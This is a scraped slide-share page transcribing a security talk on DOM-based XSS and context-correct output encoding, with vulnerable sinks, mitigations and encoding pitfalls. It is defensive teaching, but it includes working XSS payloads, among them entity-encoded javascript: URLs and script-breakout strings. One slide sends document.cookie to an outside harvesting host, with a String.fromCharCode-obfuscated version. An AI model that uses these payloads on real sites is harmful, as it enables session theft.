Dom based xss and proper output encoding l.jpg
This presentation is the property of its rightful owner.
Sponsored Links
1 / 31

DOM Based XSS and Proper Output Encoding PowerPoint PPT Presentation


  • 345 Views
  • Uploaded on
  • Presentation posted in: General

DOM Based XSS and Proper Output Encoding. By Abraham Kang Principal Security Researcher HP Fortify. Goals. Understand the DOM based XSS threats Understand how to mitigate DOM based XSS Better understand the output encoding misuse cases If you need to understand traditional XSS see:

Download Presentation

DOM Based XSS and Proper Output Encoding

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript


Dom based xss and proper output encoding l.jpg

DOM Based XSS and Proper Output Encoding

By Abraham Kang

Principal Security Researcher

HP Fortify


Goals l.jpg

Goals

  • Understand the DOM based XSS threats

  • Understand how to mitigate DOM based XSS

  • Better understand the output encoding misuse cases

  • If you need to understand traditional XSS see:

    • https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet


Review of dom l.jpg

Review of DOM

window.location = userInput;

document.forms[0]. i1.value = “Bob”;

document.getElementById(“i1”).value = “Bob”;


What s old is new l.jpg

What’s Old is New

  • <DIV id=“div1”>HTML CONTEXT</DIV>

    document.getElementById(“div1”).innerHTML= input;

  • <a id=“a1” href="URL CONTEXT" >Test</a>

    document.getElementById(“a1”).href= input;

  • <style>CSS CONTEXT</style>

  • <div style="CSS CONTEXT" …>

    document.body.style= input;

  • <a id=“a2” href="#" onclick="EVENT HANDLER CTX"…

    document.getElementById(“a2”).setAttribute(“onclick”, input);

  • <SCRIPT>JAVASCRIPT CONTEXT</SCRIPT>

    document.scripts[0].text = input;

  • <INPUT type="text" name=“i2" value="HTML ATTRIBUTE CONTEXT" />

    document.forms[0].i2.value = input;


Dom based xss l.jpg

DOM Based XSS

  • Untrusted data is passed to/consumed by JavaScript methods which:

    • Render HTML through DOM methods(Subject to Page Rendering Restructuring Attacks)

    • Pass untrusted data to code executing JS functions

    • Pass untrusted data to traditional XSS contexts (represented in DOM) where the attribute datatype is a String

    • Pass untrusted data to DOM methods which coerce strings into their native JS types


Dom based xss 1 rendering html l.jpg

DOM Based XSS 1 (Rendering HTML)

  • Render HTML through HTML Rendering DOM methods(Subject to Page Rendering Restructuring Attacks)

    buildEchoPage('<%=req.getParameter("input1")%>',

    '<%=req.getParameter("returnUrl")%>');

    function buildEchoPage(input1, myURL) {

    document.write("<HTML><head><TITLE>Echo Page</TITLE></head>");

    document.write("<body> Echo: " + input1);

    document.write("<a href=\"" + myURL + "\"> Return to home page </a> " + "</body></html>);

    }

  • element.innerHTML, element.outerHTML and document.writeln()


Dom based xss 1 rendering html7 l.jpg

DOM Based XSS 1 (Rendering HTML)

  • Render HTML through HTML Rendering DOM methods(Subject to Page Rendering Restructuring Attacks)

    buildEchoPage('<%=DefaultEncoder.encodeForJavascript( req.getParameter("input1"))%>',

    '<%=DefaultEncoder.encodeForJavascript( req.getParameter("returnUrl"))%>');

    function buildEchoPage(input1, myURL) {

    document.write("<HTML><head><TITLE>Echo Page</TITLE></head>");

    document.write("<body> Echo: " + input1);

    document.write("<a href=\"" + myURL + "\"> Return to home page </a> " + "</body></html>);

    }


Mitigating dom based xss 1a l.jpg

Mitigating DOM Based XSS 1a

  • Do all encoding (server side) before placing data in page entry point

    buildEchoPage('<%=DefaultEncoder.encodeForJavascript(

    DefaultEncoder.encodeForHTML(req.getParameter("input1")))%>',

    '<%=DefaultEncoder.encodeForJavascript(

    DefaultEncoder.encodeForURL(req.getParameter("returnUrl")))%>');

    function buildEchoPage(input1, myURL) {

    document.write("<HTML><head><TITLE>Echo Page</TITLE></head>");

    document.write("<body> Echo: " + input1));

    document.write("<a href=\"" + myURL+ "\"> Return to home page </a> " + "</body></html>);

    }


Mitigating dom based xss 1b l.jpg

Mitigating DOM Based XSS 1b

  • Javascript encode (server side) before placing data in page entry point and HTML/URL encode within JavaScript

    buildEchoPage('<%=DefaultEncoder.encodeForJavascript(

    req.getParameter("input1"))%>',

    '<%=DefaultEncoder.encodeForJavascript( req.getParameter("returnUrl"))%>');

    function buildEchoPage(input1, myURL) {

    document.write("<HTML><head><TITLE>Echo Page</TITLE></head>");

    document.write("<body> Echo: " +

    $ESAPI.encoder().encodeForHTML(input1));

    document.write("<a href=\"" + $ESAPI.encoder().encodeForURL(myURL)+ "\"> Return to home page </a> " + "</body></html>);

    }


Dom based xss 2 code evaluating functions l.jpg

DOM Based XSS 2 (code evaluating functions)

  • Pass untrusted data to code executing JS functions:

    executeCode('<%=req.getParameter("user_input")%>');

    function executeCode(input) {

    eval(input);

    setTimeout(input, x);

    setInterval(input, x);

    new Function(input);

    scriptElement.text= input;

    defineSetter(‘x’, eval); x=input;

    window[x](input) or top[x](input);

    input.replace(/.+/, function($1) {//code which operates on $1})

    }


Mitigating dom based xss 2 code evaluation l.jpg

Mitigating DOM Based XSS 2 (code evaluation)

  • Always delimit user input in between quotes (‘ and “)

  • Don’t execute script code from user input.

  • Use a level of indirection between the contents of script code and user input.

  • Limit left side operations

    window[x] = input; or top[x] = input;

  • Use the appropriate layers of encoding or closures:

    setTimeout(“customFunction(‘<%=doubleJavaScriptEncodedData%>’, y)”);

    function customFunction(name) {

    alert("Hello" + name);

    }

    setTimeout((function(param) {

    return function() { customFunction(param); } })("<%=Encoder.encodeForJS(untrustedData)%>"), y);


Dom based xss 3 traditional contexts l.jpg

DOM Based XSS 3 (Traditional Contexts)

  • Pass untrusted data to traditional XSS contexts where the attribute datatypeis a String:

    function buildLink() {

    document.body.style.backgroundImage= "url(vbscript:Alert(99))";

    varlinkTag = document.createElement("link");

    linkTag.setAttribute("rel", "stylesheet");

    linkTag.href= "data:,*%7bx:expression(alert(2))%7d"; //Works

    linkTag.href = "data:,%2a%7b%78%3a%65%78%70%72%65%73%73%69%6f%6e%28%61%6c%65%72%74%28%32%29%29%7d"; //DOES WORK

    varanchorTag= document.createElement("a");

    anchorTag.onmouseover = "alert(1)"; //DOES NOT WORK

    document.body.appendChild(anchorTag);

    }


Mitigating dom based xss 3 traditional contexts l.jpg

Mitigating DOM Based XSS 3 (Traditional Contexts)

  • When setting DOM URL attributes:

    • URL encode the whole URL if you are using relative URLs.

    • Ensure that the URL passed in starts with https:// and URL encode the rest of the string (if using absolute URLs).

    • Use a level of indirection for CSS DOM attributes


Dom based xss 4 through setattribute l.jpg

DOM Based XSS 4 (through setAttribute)

  • Pass untrusted data to DOM methods which coerce strings into their native JS types:

    function buildLink(input) {

    varlinkTag = document.createElement("a");

    linkTag.setAttribute("onclick", "alert(123)");

    linkTag.setAttribute("onmouseover","alert(123)");

    document.body.appendChild(linkTag);

    }


Mitigating dom based xss 4 through setattribute l.jpg

Mitigating DOM Based XSS 4 (through setAttribute)

  • Do not pass in user controlled script to execute within JavaScript event handlers

  • Do not allow user controlled input to set the attribute name.

  • Use the appropriate encoding for the value of the attribute

  • Additional encoding for usage in function or encode in JS just before use.

    linkTag.setAttribute("onmouseover”, “myJSFunc(‘<%=DefaultEncoder.encodeForJavascript( req.getParameter(“name”))%>’)”);


  • Dom xss 5 in html attribute context l.jpg

    DOM XSS 5 (in HTML attribute context)

    • Because the HTML attribute contexts inherently includes attributes which are not defined in URL, CSS, and event handler contexts their exploitability is limited.

    • The one major exception is when setting the text node or attribute of a inherently dangerous HTML tag (<script>, <object>, etc.).

      /*Works in FF3.6 but not in IE8 */

      s = document.createElement("script");

      t = document.createTextNode("alert('textNode')");

      s.appendChild(t);

      document.body.appendChild(s);

      document.scripts[1].text = "alert('scripts[1]')";

      Mitgation: Don’t let users create SCRIPT elements.


    Dom based xss 6 chameleon context l.jpg

    DOM Based XSS 6 (Chameleon Context)

    • window[x] = inputVar;

    • top[x] = inputVar;

    • Mitigation: Don’t let users determine the attribute of objects (left side operations).


    Problems associated with mitigating xss using output encoding l.jpg

    Problems Associated with Mitigating XSS Using Output Encoding

    • Understanding Characters Encoded by the Encoding Library Used by the Developer

    • Understanding Encoding’s Result

    • Side Effects of Encoding (Parser Ordering)

    • Encoding Fails (CSS)


    Characters encoded by encoding library l.jpg

    Characters Encoded by Encoding Library

    • <bean:write> and <c:out> ', ", <, >, &

    • Apache StringEscapeUtils2.0

      escapeJavascript', ", \  \’, \”, \\

      but characters between 33 – 127 are left alone

      escapeHTML", <, >, &

    • .NET HttpUtility", <, >, &

    • ESAPIAll non-alpha


    Encoding semantics l.jpg

    Encoding Semantics

    • HTML&lt; or &#999 or &#xfff;

    • JavaScript\x3c or \u003c

    • URL%3c

    • CSS\3c or \(


    Side effects l.jpg

    Side Effects

    • Parsers ordering can effect escaped values meanings

    • HTML Parser Runs first

      • Focused on HTML tags and attributes of those tags

      • Only understands HTML escaping

    • Javascript, URL, and CSS parsers run afterwards with stuff given to it by the HTML parser.


    Reverse encoding at runtime l.jpg

    Reverse Encoding at Runtime

    • The HTML parser will reverse encode

      • HTML encoding in event handlers

        onclick=“&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;” //alert(1) WORKS

      • HTML and URL encoding in URL attributes (after “protocol:” for URL encoding)

        href=“&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;” //alert(1) WORKS

        href= "data:,%2a%7b%78%3a%65%78%70%72%65%73%73%69%6f%6e%28%61%6c%65%72%74%28%32%29%29%7d"; //DOES WORK

    • The JavaScript parser will reverse encode

      • URL encoding in URL attributes (after “protocol:” for URL encoding)

      • The HTML encoded value attribute of HTML rendered page elements retrieved via DOM methods


    Encoding fail 1 wrong encoding l.jpg

    Encoding Fail #1 (Wrong Encoding)

    <SCRIPT>

    dofunc('<bean:write property="val1"/>','<c:out property="val2"/>’);

    </SCRIPT>

    <!DOCTYPE html>

    <HTML><BODY><script> <bean:write property=“${param.script}" />

    </script></BODY></HTML>

    ', ", <, >, &

    ', ", <, >, &

    ', ", <, >, &


    Encoding fail 1 wrong encoding exploit l.jpg

    Encoding Fail #1 (Wrong Encoding Exploit)

    <SCRIPT>

    dofunc( '<bean:write property="val1" />','<c:out property="val2”/>' );

    </SCRIPT>

    val1 = \

    val2 = , 1);attack_code();//

    <SCRIPT>

    dofunc( ‘\’,‘ , 1);attack_code();//’);

    </SCRIPT>

    *Creditshouldbegiven to Jeremy Long for finding the exploit above

    • HTML5 automatically reverse HTML encodes characters in between the <script> tags at runtime.


    Encoding fail 2 parser interaction l.jpg

    Encoding Fail #2 (Parser Interaction)

    <script>

    x = "<%=StringEscapeUtils.escapeJavascript( req.getParameter("input")) %>";

    </script>

    <a href="#" onclick="

    <%=StringEscapeUtils.escapeJavascript( req.getParameter("input")) %>" >

    ‘, “, \  \’, \”, \\

    ‘, “, \  \’, \”, \\


    Encoding fail 2 parser exploit l.jpg

    Encoding Fail #2 (Parser exploit)

    <script>

    x = "<%=JSEncodedInput%>";

    </script>

    <script>

    x = “</script><script>attack_code()

    </script> <script>//";

    </script>

    <a href="#" onclick="<%=JSEncodedInput%>" >

    <a href="#"

    onclick="\”onblur=attack_code() x=\”">


    Encoding fail 3 auto reverse escaping at runtime l.jpg

    Encoding Fail #3 (Auto Reverse Escaping at Runtime)

    <a href="#" onclick="jsfunc('<bean:write property="val1" />')" >

    <a href="javascript:jsfunc(’

    <%=URLEncoder.encode(req.getParameter("input"))%>');" >

    <a href='<bean:write property="val1" />' >

    ', ", <, >, &

    alphaNumeric stay same as well as . _ * -

    ', ", <, >, &


    Encoding fail 4 reverse encoding upon dom retrieval l.jpg

    Encoding Fail #4 (Reverse Encoding upon DOM retrieval)

    <form name="formName" >

    <input id="user_in" value="<c:out value='<%=req.getParameter("input")%>' />" />

    <script>

    var x = document.getElementById('user_in').value;

    document.write(x);

    ', ", <, >, &


    Black lists can fail l.jpg

    Black Lists Can Fail

    varstolenCookie = document.cookie;

    document.write("<imgsrc=http://www.cookierHarvester.com/cookiereader.php?cookie=" + stolenCookie + "/>");

    • Or

      eval (String.fromCharCode( 118,97,114,32,115,116,111,108,101,110,67,111,111,107,105,101,32,61,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,8220,60,105,109,103,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,99,111,111,107,105,101,114,72,97,114,118,101,115,116,101,114,46,99,111,109,47,99,111,111,107,105,101,114,101,97,100,101,114,46,112,104,112,63,99,111,111,107,105,101,61,8221,32,43,32,99,111,111,107,105,101,32,43,32,8220,47,62,8221,41,59))

    • Just need ( ) . and comma


    Conclusion l.jpg

    Conclusion

    • Use the correct encoding for the DOM Context you are placing data into

    • Understand the characters encoded by the library you are using and how they apply to your context and the surrounding contexts

    • Using the wrong encoding may still leave your app exploitable.

    • Read the DOM XSS Cheat Sheet:

      • https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet


    Questions and credits l.jpg

    Questions and Credits

    • ?

    • Special Thanks to Jim Manico (WhiteHat), Jacob West (Fortify), Brian Chess (Fortify), Gaz Hayes, Stefano Di Paola (Minded Security), Achim Hoffman, RSnake, Mario Heiderich, John Stevens (Cigital), Mike Samuel (Google), Arian Evans (WhiteHat), HimanshuDwivedi and Alex Stamos (iSec Partners)


  • Login